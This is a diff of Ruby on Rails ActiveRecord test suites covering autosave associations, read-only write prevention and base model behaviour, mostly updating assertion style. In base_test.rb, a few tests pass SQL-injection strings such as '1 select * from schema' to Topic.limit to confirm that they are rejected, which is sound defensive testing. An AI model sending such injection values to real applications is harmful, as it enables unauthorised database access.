@@ -1330,13 +1966,13 @@ def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_t
   end
 
   def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
-    ship = Ship.new(name: "The Vile Insanity")
+    ship = Ship.new(name: "The Vile Serpent")
     pirate = ship.build_pirate(catchphrase: "Arr")
     pirate.cancel_save_from_callback = true
 
     assert_no_difference "Ship.count" do
       assert_no_difference "Pirate.count" do
-        assert !ship.save
+        assert_not ship.save
       end
     end
   end
@@ -1345,40 +1981,53 @@ def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
     before = [@ship.pirate.catchphrase, @ship.name]
 
     @ship.pirate.catchphrase = "Arr"
-    @ship.name = "The Vile Insanity"
+    @ship.name = "The Vile Serpent"
 
     # Stub the save method of the @ship.pirate instance to raise an exception
     class << @ship.pirate
-      def save(*args)
+      def save(**)
         super
         raise "Oh noes!"
       end
     end
 
-    assert_raise(RuntimeError) { assert !@ship.save }
+    assert_raise(RuntimeError) { assert_not @ship.save }
     assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
   end
 
   def test_should_not_load_the_associated_model
-    assert_queries(1) { @ship.name = "The Vile Insanity"; @ship.save! }
+    assert_queries_count(3) { @ship.name = "The Vile Serpent"; @ship.save! }
+  end
+
+  def test_should_save_with_non_nullable_foreign_keys
+    parent = Post.new title: "foo", body: "..."
+    child = parent.comments.build body: "..."
+    child.save!
+    assert_equal child.reload.post, parent.reload
+  end
+
+  def test_should_save_if_previously_saved
+    ship = Ship.create(name: "Nights Dirty Lightning", pirate: Pirate.new(catchphrase: "Arrrr"))
+    ship.create_pirate(catchphrase: "Savvy?")
+    assert_equal "Savvy?", ship.reload.pirate.catchphrase
   end
 end
 
 module AutosaveAssociationOnACollectionAssociationTests
   def test_should_automatically_save_the_associated_models
     new_names = ["Grace OMalley", "Privateers Greed"]
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+    @pirate.public_send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
 
     @pirate.save
-    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+    assert_equal new_names.sort, @pirate.reload.public_send(@association_name).map(&:name).sort
   end
 
   def test_should_automatically_save_bang_the_associated_models
     new_names = ["Grace OMalley", "Privateers Greed"]
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+    @pirate.public_send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
 
     @pirate.save!
-    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+    assert_equal new_names.sort, @pirate.reload.public_send(@association_name).map(&:name).sort
   end
 
   def test_should_update_children_when_autosave_is_true_and_parent_is_new_but_child_is_not
@@ -1400,19 +2049,19 @@ def test_should_not_update_children_when_parent_creation_with_no_reason
   end
 
   def test_should_automatically_validate_the_associated_models
-    @pirate.send(@association_name).each { |child| child.name = "" }
+    @pirate.public_send(@association_name).each { |child| child.name = "" }
 
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
     assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
-    assert @pirate.errors[@association_name].empty?
+    assert_empty @pirate.errors[@association_name]
   end
 
   def test_should_not_use_default_invalid_error_on_associated_models
-    @pirate.send(@association_name).build(name: "")
+    @pirate.public_send(@association_name).build(name: "")
 
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
     assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
-    assert @pirate.errors[@association_name].empty?
+    assert_empty @pirate.errors[@association_name]
   end
 
   def test_should_default_invalid_error_from_i18n
@@ -1420,56 +2069,47 @@ def test_should_default_invalid_error_from_i18n
       { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
     } })
 
-    @pirate.send(@association_name).build(name: "")
+    @pirate.public_send(@association_name).build(name: "")
 
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
     assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
     assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
-    assert @pirate.errors[@association_name].empty?
+    assert_empty @pirate.errors[@association_name]
   ensure
     I18n.backend = I18n::Backend::Simple.new
   end
 
   def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
-    @pirate.send(@association_name).each { |child| child.name = "" }
+    @pirate.public_send(@association_name).each { |child| child.name = "" }
     @pirate.catchphrase = nil
 
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
     assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
-    assert @pirate.errors[:catchphrase].any?
+    assert_predicate @pirate.errors[:catchphrase], :any?
   end
 
   def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
     @pirate.catchphrase = ""
-    @pirate.send(@association_name).each { |child| child.name = "" }
+    @pirate.public_send(@association_name).each { |child| child.name = "" }
 
     assert @pirate.save(validate: false)
-    # Oracle saves empty string as NULL
-    if current_adapter?(:OracleAdapter)
-      assert_equal [nil, nil, nil], [
-        @pirate.reload.catchphrase,
-        @pirate.send(@association_name).first.name,
-        @pirate.send(@association_name).last.name
-      ]
-    else
-      assert_equal ["", "", ""], [
-        @pirate.reload.catchphrase,
-        @pirate.send(@association_name).first.name,
-        @pirate.send(@association_name).last.name
-      ]
-    end
+    assert_equal ["", "", ""], [
+      @pirate.reload.catchphrase,
+      @pirate.public_send(@association_name).first.name,
+      @pirate.public_send(@association_name).last.name
+    ]
   end
 
   def test_should_validation_the_associated_models_on_create
     assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
-      2.times { @pirate.send(@association_name).build }
+      2.times { @pirate.public_send(@association_name).build }
       @pirate.save
     end
   end
 
   def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
     assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", 2) do
-      2.times { @pirate.send(@association_name).build }
+      2.times { @pirate.public_send(@association_name).build }
       @pirate.save(validate: false)
     end
   end
@@ -1479,64 +2119,62 @@ def test_should_not_save_and_return_false_if_a_callback_cancelled_saving_in_eith
     @child_1.name = "Changed"
     @child_1.cancel_save_from_callback = true
 
-    assert !@pirate.save
+    assert_not @pirate.save
     assert_equal "Don' botharrr talkin' like one, savvy?", @pirate.reload.catchphrase
     assert_equal "Posideons Killer", @child_1.reload.name
 
     new_pirate = Pirate.new(catchphrase: "Arr")
-    new_child = new_pirate.send(@association_name).build(name: "Grace OMalley")
+    new_child = new_pirate.public_send(@association_name).build(name: "Grace OMalley")
     new_child.cancel_save_from_callback = true
 
     assert_no_difference "Pirate.count" do
       assert_no_difference "#{new_child.class.name}.count" do
-        assert !new_pirate.save
+        assert_not new_pirate.save
       end
     end
   end
 
   def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
-    before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
+    before = [@pirate.catchphrase, *@pirate.public_send(@association_name).map(&:name)]
     new_names = ["Grace OMalley", "Privateers Greed"]
 
     @pirate.catchphrase = "Arr"
-    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+    @pirate.public_send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
 
     # Stub the save method of the first child instance to raise an exception
-    class << @pirate.send(@association_name).first
-      def save(*args)
+    class << @pirate.public_send(@association_name).first
+      def save(**)
         super
         raise "Oh noes!"
       end
     end
 
-    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_raise(RuntimeError) { assert_not @pirate.save }
     assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
   end
 
   def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
-    @pirate.send(@association_name).each { |child| child.name = "" }
+    @pirate.public_send(@association_name).each { |child| child.name = "" }
     assert_raise(ActiveRecord::RecordInvalid) do
       @pirate.save!
     end
   end
 
   def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
-    assert_queries(1) { @pirate.catchphrase = "Arr"; @pirate.save! }
+    assert_queries_count(3) { @pirate.catchphrase = "Arr"; @pirate.save! }
 
-    @pirate.send(@association_name).load_target
+    @pirate.public_send(@association_name).load_target
 
-    assert_queries(3) do
+    assert_queries_count(5) do
       @pirate.catchphrase = "Yarr"
       new_names = ["Grace OMalley", "Privateers Greed"]
-      @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+      @pirate.public_send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
       @pirate.save!
     end
   end
 end
 
 class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @association_name = :birds
@@ -1551,8 +2189,6 @@ def setup
 end
 
 class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @association_name = :autosaved_parrots
@@ -1568,8 +2204,6 @@ def setup
 end
 
 class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @association_name = :parrots
@@ -1585,25 +2219,69 @@ def setup
 end
 
 class TestAutosaveAssociationValidationsOnAHasManyAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
     @pirate.birds.create(name: "cookoo")
+
+    @author = Author.new(name: "DHH")
+    @author.published_books.build(name: "Rework", isbn: "1234")
+    @author.published_books.build(name: "Remote", isbn: "1234")
   end
 
   test "should automatically validate associations" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.birds.each { |bird| bird.name = "" }
 
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
+  end
+
+  test "rollbacks whole transaction and raises ActiveRecord::RecordInvalid when associations fail to #save! due to uniqueness validation failure" do
+    author_count_before_save = Author.count
+    book_count_before_save = Book.count
+
+    assert_no_difference "Author.count" do
+      assert_no_difference "Book.count" do
+        exception = assert_raises(ActiveRecord::RecordInvalid) do
+          @author.save!
+        end
+
+        assert_equal("Validation failed: Published books is invalid", exception.message)
+      end
+    end
+
+    assert_equal(author_count_before_save, Author.count)
+    assert_equal(book_count_before_save, Book.count)
+  end
+
+  test "rollbacks whole transaction when associations fail to #save due to uniqueness validation failure" do
+    author_count_before_save = Author.count
+    book_count_before_save = Book.count
+
+    assert_no_difference "Author.count" do
+      assert_no_difference "Book.count" do
+        assert_nothing_raised do
+          result = @author.save
+
+          assert_not(result)
+        end
+      end
+    end
+
+    assert_equal(author_count_before_save, Author.count)
+    assert_equal(book_count_before_save, Book.count)
+  end
+
+  def test_validations_still_fire_on_unchanged_association_with_custom_validation_context
+    pirate = FamousPirate.create!(catchphrase: "Avast Ye!")
+    pirate.famous_ships.create!
+
+    assert_predicate pirate, :valid?
+    assert_not pirate.valid?(:conference)
   end
 end
 
 class TestAutosaveAssociationValidationsOnAHasOneAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
@@ -1612,65 +2290,66 @@ def setup
   end
 
   test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.ship.name = ""
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
   end
 
   test "should not automatically add validate associations without :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.non_validated_ship.name = ""
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
   end
 end
 
 class TestAutosaveAssociationValidationsOnABelongsToAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
   end
 
   test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.parrot = Parrot.new(name: "")
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
   end
 
   test "should not automatically validate associations without :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.non_validated_parrot = Parrot.new(name: "")
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
+  end
+
+  def test_validations_still_fire_on_unchanged_association_with_custom_validation_context
+    firm_with_low_credit = Firm.create!(name: "Something", account: Account.new(credit_limit: 50))
+
+    assert_predicate firm_with_low_credit, :valid?
+    assert_not firm_with_low_credit.valid?(:bank_loan)
   end
 end
 
 class TestAutosaveAssociationValidationsOnAHABTMAssociation < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
   end
 
   test "should automatically validate associations with :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.parrots = [ Parrot.new(name: "popuga") ]
     @pirate.parrots.each { |parrot| parrot.name = "" }
-    assert !@pirate.valid?
+    assert_not_predicate @pirate, :valid?
   end
 
   test "should not automatically validate associations without :validate => true" do
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
     @pirate.non_validated_parrots = [ Parrot.new(name: "popuga") ]
     @pirate.non_validated_parrots.each { |parrot| parrot.name = "" }
-    assert @pirate.valid?
+    assert_predicate @pirate, :valid?
   end
 end
 
 class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCase
-  self.use_transactional_tests = false unless supports_savepoints?
-
   def setup
     super
     @pirate = Pirate.new
@@ -1685,7 +2364,7 @@ def setup
   end
 
   test "should not generate validation methods for has_one associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_ship)
+    assert_not_respond_to @pirate, :validate_associated_records_for_non_validated_ship
   end
 
   test "should generate validation methods for belongs_to associations with :validate => true" do
@@ -1693,7 +2372,7 @@ def setup
   end
 
   test "should not generate validation methods for belongs_to associations without :validate => true" do
-    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrot)
+    assert_not_respond_to @pirate, :validate_associated_records_for_non_validated_parrot
   end
 
   test "should generate validation methods for HABTM associations with :validate => true" do
@@ -1722,6 +2401,10 @@ class Comment < ActiveRecord::Base
     end
   end
 
+  def setup
+    Comment.delete_all
+  end
+
   def test_after_save_callback_with_autosave
     post = Post.new(title: "Test", body: "...")
     comment = post.comments.build(body: "...")
@@ -1731,3 +2414,87 @@ def test_after_save_callback_with_autosave
     assert_equal 1, comment.post_comments_count
   end
 end
+
+class TestAutosaveAssociationOnAHasManyAssociationDefinedInSubclassWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  def test_should_update_children_when_association_redefined_in_subclass
+    agency = Agency.create!(name: "Agency")
+    valid_project = Project.create!(firm: agency, name: "Initial")
+    agency.update!(
+      "projects_attributes" => {
+        "0" => {
+          "name" => "Updated",
+          "id" => valid_project.id
+        }
+      }
+    )
+    valid_project.reload
+
+    assert_equal "Updated", valid_project.name
+  end
+end
+
+class TestAutosaveAssociationOnABelongsToAssociationDefinedAsRecord < ActiveRecord::TestCase
+  def test_should_not_raise_error
+    translation = Translation.create(locale: "fr", key: "bread", value: "Baguette 🥖")
+    author = Author.create(name: "Dorian Marié")
+    translation.build_attachment(record: author)
+    assert_nothing_raised do
+      translation.save!
+    end
+  end
+end
+
+class TestAutosaveAssociationWithNestedAttributes < ActiveRecord::TestCase
+  class Part < ActiveRecord::Base
+    self.table_name = "ship_parts"
+  end
+
+  class Ship < ActiveRecord::Base
+    self.table_name = "ships"
+    has_many :parts, class_name: Part.name
+    accepts_nested_attributes_for :parts, allow_destroy: true
+
+    validate :has_at_least_two_parts
+    def has_at_least_two_parts
+      current_parts = parts.select { |p| !p.marked_for_destruction? }
+      errors.add(:parts, "must have at least two parts") if current_parts.size < 2
+    end
+  end
+
+  class Pirate < ActiveRecord::Base
+    self.table_name = "pirates"
+    has_many :ships, class_name: Ship.name
+    accepts_nested_attributes_for :ships, allow_destroy: true
+  end
+
+  def test_should_be_invalid_when_nested_attributes_deletion_breaks_validation
+    pirate = Pirate.create!
+    ship = pirate.ships.new
+    2.times do |i|
+      ship.parts.build
+    end
+    part = ship.parts.first
+    ship.save!
+
+    deletion_params = {
+      "ships_attributes" => {
+        "0" => {
+          "id" => ship.id,
+          "parts_attributes" => {
+            "0" => {
+              "id" => part.id,
+              "_destroy" => "1",
+            },
+          }
+        }
+      }
+    }
+
+    assert_not pirate.update(deletion_params)
+    assert_nothing_raised do
+      part.reload
+    end
+    assert_includes pirate.errors[:"ships.parts"], "must have at least two parts"
+    assert_includes ship.errors[:parts], "must have at least two parts"
+  end
+end
diff --git a/activerecord/test/cases/base_prevent_writes_test.rb b/activerecord/test/cases/base_prevent_writes_test.rb
new file mode 100644
index 0000000000000..a92d4d87a6ea8
--- /dev/null
+++ b/activerecord/test/cases/base_prevent_writes_test.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/bird"
+
+class BasePreventWritesTest < ActiveRecord::TestCase
+  if !in_memory_db?
+    test "creating a record raises if preventing writes" do
+      ActiveRecord::Base.while_preventing_writes do
+        error = assert_raises ActiveRecord::ReadOnlyError do
+          Bird.create! name: "Bluejay"
+        end
+
+        assert_match %r/\AWrite query attempted while in readonly mode: INSERT /, error.message
+      end
+    end
+
+    test "updating a record raises if preventing writes" do
+      bird = Bird.create! name: "Bluejay"
+
+      ActiveRecord::Base.while_preventing_writes do
+        error = assert_raises ActiveRecord::ReadOnlyError do
+          bird.update! name: "Robin"
+        end
+
+        assert_match %r/\AWrite query attempted while in readonly mode: UPDATE /, error.message
+      end
+    end
+
+    test "deleting a record raises if preventing writes" do
+      bird = Bird.create! name: "Bluejay"
+
+      ActiveRecord::Base.while_preventing_writes do
+        error = assert_raises ActiveRecord::ReadOnlyError do
+          bird.destroy!
+        end
+
+        assert_match %r/\AWrite query attempted while in readonly mode: DELETE /, error.message
+      end
+    end
+
+    test "selecting a record does not raise if preventing writes" do
+      bird = Bird.create! name: "Bluejay"
+
+      ActiveRecord::Base.while_preventing_writes do
+        assert_equal bird, Bird.where(name: "Bluejay").last
+      end
+    end
+
+    test "an explain query does not raise if preventing writes" do
+      Bird.create!(name: "Bluejay")
+
+      ActiveRecord::Base.while_preventing_writes do
+        assert_queries_count(2) { Bird.where(name: "Bluejay").explain.inspect }
+      end
+    end
+
+    test "an empty transaction does not raise if preventing writes" do
+      ActiveRecord::Base.while_preventing_writes do
+        assert_queries_count(2, include_schema: true) do
+          Bird.transaction do
+            ActiveRecord::Base.lease_connection.materialize_transactions
+          end
+        end
+      end
+    end
+
+    test "preventing writes applies to all connections in block" do
+      ActiveRecord::Base.while_preventing_writes do
+        conn1_error = assert_raises ActiveRecord::ReadOnlyError do
+          assert_equal ActiveRecord::Base.lease_connection, Bird.lease_connection
+          assert_not_equal ARUnit2Model.lease_connection, Bird.lease_connection
+          Bird.create!(name: "Bluejay")
+        end
+
+        assert_match %r/\AWrite query attempted while in readonly mode: INSERT /, conn1_error.message
+      end
+
+      ActiveRecord::Base.while_preventing_writes do
+        conn2_error = assert_raises ActiveRecord::ReadOnlyError do
+          assert_not_equal ActiveRecord::Base.lease_connection, Professor.lease_connection
+          assert_equal ARUnit2Model.lease_connection, Professor.lease_connection
+          Professor.create!(name: "Professor Bluejay")
+        end
+
+        assert_match %r/\AWrite query attempted while in readonly mode: INSERT /, conn2_error.message
+      end
+    end
+
+    test "current_preventing_writes" do
+      ActiveRecord::Base.while_preventing_writes do
+        assert ActiveRecord::Base.current_preventing_writes, "expected connection current_preventing_writes to return true"
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index 979a59f566504..008f1de66b193 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/author"
@@ -12,7 +14,6 @@
 require "models/project"
 require "models/default"
 require "models/auto_id"
-require "models/boolean"
 require "models/column_name"
 require "models/subscriber"
 require "models/comment"
@@ -25,14 +26,29 @@
 require "models/bird"
 require "models/car"
 require "models/bulb"
+require "models/pet"
+require "models/owner"
+require "models/cpk"
 require "concurrent/atomic/count_down_latch"
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/kernel/reporting"
 
 class FirstAbstractClass < ActiveRecord::Base
   self.abstract_class = true
+
+  connects_to database: { writing: :arunit, reading: :arunit }
 end
+
 class SecondAbstractClass < FirstAbstractClass
   self.abstract_class = true
+
+  connects_to database: { writing: :arunit, reading: :arunit }
+end
+
+class ThirdAbstractClass < SecondAbstractClass
+  self.abstract_class = true
 end
+
 class Photo < SecondAbstractClass; end
 class Smarts < ActiveRecord::Base; end
 class CreditCard < ActiveRecord::Base
@@ -51,6 +67,28 @@ class ReadonlyTitlePost < Post
   attr_readonly :title
 end
 
+class ReadonlyTitleAbstractPost < ActiveRecord::Base
+  self.abstract_class = true
+
+  attr_readonly :title
+end
+
+class ReadonlyTitlePostWithAbstractParent < ReadonlyTitleAbstractPost
+  self.table_name = "posts"
+end
+
+previous_value, ActiveRecord.raise_on_assign_to_attr_readonly = ActiveRecord.raise_on_assign_to_attr_readonly, false
+
+class NonRaisingPost < Post
+  attr_readonly :title
+end
+
+ActiveRecord.raise_on_assign_to_attr_readonly = previous_value
+
+class ReadonlyAuthorPost < Post
+  attr_readonly :author_id
+end
+
 class Weird < ActiveRecord::Base; end
 
 class LintTest < ActiveRecord::TestCase
@@ -64,29 +102,60 @@ def setup
 end
 
 class BasicsTest < ActiveRecord::TestCase
-  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, "warehouse-things", :authors, :categorizations, :categories, :posts
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts,
+    :minimalistics, "warehouse-things", :authors, :author_addresses, :categorizations, :categories,
+    :posts, :cpk_books
+
+  def test_generated_association_methods_module_name
+    mod = Post.send(:generated_association_methods)
+    assert_equal "Post::GeneratedAssociationMethods", mod.inspect
+  end
+
+  def test_generated_relation_methods_module_name
+    mod = Post.send(:generated_relation_methods)
+    assert_equal "Post::GeneratedRelationMethods", mod.inspect
+  end
+
+  def test_no_anonymous_modules
+    assert_empty Photo.ancestors.select { |m| m.name.nil? }
+  end
+
+  def test_arel_attribute_normalization
+    assert_equal Post.arel_table["body"], Post.arel_table[:body]
+    assert_equal Post.arel_table["body"], Post.arel_table[:text]
+  end
+
+  def test_incomplete_schema_loading
+    topic = Topic.first
+    payload = { "foo" => 42 }
+    topic.update!(content: payload)
+
+    Topic.reset_column_information
+
+    Topic.connection_pool.stub(:schema_cache, -> { raise "Some Error" }) do
+      assert_raises RuntimeError do
+        Topic.columns_hash
+      end
+    end
+
+    assert_equal payload, Topic.first.content
+  end
 
   def test_column_names_are_escaped
-    conn      = ActiveRecord::Base.connection
+    conn      = ActiveRecord::Base.lease_connection
     classname = conn.class.name[/[^:]*$/]
     badchar   = {
       "SQLite3Adapter"    => '"',
       "Mysql2Adapter"     => "`",
+      "TrilogyAdapter"    => "`",
       "PostgreSQLAdapter" => '"',
       "OracleAdapter"     => '"',
-      "FbAdapter"         => '"'
     }.fetch(classname) {
       raise "need a bad char for #{classname}"
     }
 
     quoted = conn.quote_column_name "foo#{badchar}bar"
-    if current_adapter?(:OracleAdapter)
-      # Oracle does not allow double quotes in table and column names at all
-      # therefore quoting removes them
-      assert_equal("#{badchar}foobar#{badchar}", quoted)
-    else
-      assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
-    end
+    assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
   end
 
   def test_columns_should_obey_set_primary_key
@@ -102,7 +171,7 @@ def test_primary_key_and_references_columns_should_be_identical_type
     pk = Author.columns_hash["id"]
     ref = Post.columns_hash["author_id"]
 
-    assert_equal pk.bigint?, ref.bigint?
+    assert_equal pk.sql_type, ref.sql_type
   end
 
   def test_many_mutations
@@ -123,19 +192,19 @@ def test_limit_should_take_value_from_latest_limit
 
   def test_invalid_limit
     assert_raises(ArgumentError) do
-      Topic.limit("asdfadf").to_a
+      Topic.limit("asdfadf")
     end
   end
 
   def test_limit_should_sanitize_sql_injection_for_limit_without_commas
     assert_raises(ArgumentError) do
-      Topic.limit("1 select * from schema").to_a
+      Topic.limit("1 select * from schema")
     end
   end
 
   def test_limit_should_sanitize_sql_injection_for_limit_with_commas
     assert_raises(ArgumentError) do
-      Topic.limit("1, 7 procedure help()").to_a
+      Topic.limit("1, 7 procedure help()")
     end
   end
 
@@ -145,8 +214,8 @@ def test_select_symbol
   end
 
   def test_table_exists
-    assert !NonExistentTable.table_exists?
-    assert Topic.table_exists?
+    assert_not_predicate NonExistentTable, :table_exists?
+    assert_predicate Topic, :table_exists?
   end
 
   def test_preserving_date_objects
@@ -193,13 +262,10 @@ def test_preserving_time_objects
       "The written_on attribute should be of the Time class"
     )
 
-    # For adapters which support microsecond resolution.
-    if subsecond_precision_supported?
-      assert_equal 11, Topic.find(1).written_on.sec
-      assert_equal 223300, Topic.find(1).written_on.usec
-      assert_equal 9900, Topic.find(2).written_on.usec
-      assert_equal 129346, Topic.find(3).written_on.usec
-    end
+    assert_equal 11, Topic.find(1).written_on.sec
+    assert_equal 223300, Topic.find(1).written_on.usec
+    assert_equal 9900, Topic.find(2).written_on.usec
+    assert_equal 129346, Topic.find(3).written_on.usec
   end
 
   def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
@@ -258,6 +324,18 @@ def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timez
     end
   end
 
+  def test_time_zone_aware_attribute_with_default_timezone_utc_on_utc_can_be_created
+    with_env_tz eastern_time_zone do
+      with_timezone_config aware_attributes: true, default: :utc, zone: "UTC" do
+        pet = Pet.create(name: "Bidu")
+        assert_predicate pet, :persisted?
+        saved_pet = Pet.find(pet.id)
+        assert_not_nil saved_pet.created_at
+        assert_not_nil saved_pet.updated_at
+      end
+    end
+  end
+
   def eastern_time_zone
     if Gem.win_platform?
       "EST5EDT"
@@ -281,11 +359,13 @@ def test_initialize_with_attributes
   end
 
   def test_initialize_with_invalid_attribute
-    Topic.new("title" => "test",
-      "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31")
-  rescue ActiveRecord::MultiparameterAssignmentErrors => ex
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      Topic.new("title" => "test",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00")
+    end
+
     assert_equal(1, ex.errors.size)
-    assert_equal("last_read", ex.errors[0].attribute)
+    assert_equal("written_on", ex.errors[0].attribute)
   end
 
   def test_create_after_initialize_without_block
@@ -305,7 +385,7 @@ def test_create_after_initialize_with_array_param
     assert_equal "Dude", cbs[0].name
     assert_equal "Bob", cbs[1].name
     assert cbs[0].frickinawesome
-    assert !cbs[1].frickinawesome
+    assert_not cbs[1].frickinawesome
   end
 
   def test_load
@@ -435,10 +515,12 @@ def test_singular_table_name_guesses_for_individual_table
     Post.reset_table_name
   end
 
-  if current_adapter?(:Mysql2Adapter)
-    def test_update_all_with_order_and_limit
-      assert_equal 1, Topic.limit(1).order("id DESC").update_all(content: "bulk updated!")
-    end
+  def test_table_name_based_on_model_name
+    assert_equal "posts", PostRecord.table_name
+  end
+
+  def test_table_name_for_base_class
+    assert_nil ActiveRecord::Base.table_name
   end
 
   def test_null_fields
@@ -448,7 +530,7 @@ def test_null_fields
 
   def test_default_values
     topic = Topic.new
-    assert topic.approved?
+    assert_predicate topic, :approved?
     assert_nil topic.written_on
     assert_nil topic.bonus_time
     assert_nil topic.last_read
@@ -456,41 +538,29 @@ def test_default_values
     topic.save
 
     topic = Topic.find(topic.id)
-    assert topic.approved?
+    assert_predicate topic, :approved?
     assert_nil topic.last_read
+  end
 
-    # Oracle has some funky default handling, so it requires a bit of
-    # extra testing. See ticket #2788.
-    if current_adapter?(:OracleAdapter)
-      test = TestOracleDefault.new
-      assert_equal "X", test.test_char
-      assert_equal "hello", test.test_string
-      assert_equal 3, test.test_int
+  def test_utc_as_time_zone
+    with_timezone_config default: :utc do
+      attributes = { "bonus_time" => "5:42:00AM" }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
     end
   end
 
-  # Oracle does not have a TIME datatype.
-  unless current_adapter?(:OracleAdapter)
-    def test_utc_as_time_zone
-      with_timezone_config default: :utc do
-        attributes = { "bonus_time" => "5:42:00AM" }
-        topic = Topic.find(1)
-        topic.attributes = attributes
-        assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
-      end
-    end
-
-    def test_utc_as_time_zone_and_new
-      with_timezone_config default: :utc do
-        attributes = { "bonus_time(1i)" => "2000",
-          "bonus_time(2i)" => "1",
-          "bonus_time(3i)" => "1",
-          "bonus_time(4i)" => "10",
-          "bonus_time(5i)" => "35",
-          "bonus_time(6i)" => "50" }
-        topic = Topic.new(attributes)
-        assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
-      end
+  def test_utc_as_time_zone_and_new
+    with_timezone_config default: :utc do
+      attributes = { "bonus_time(1i)" => "2000",
+        "bonus_time(2i)" => "1",
+        "bonus_time(3i)" => "1",
+        "bonus_time(4i)" => "10",
+        "bonus_time(5i)" => "35",
+        "bonus_time(6i)" => "50" }
+      topic = Topic.new(attributes)
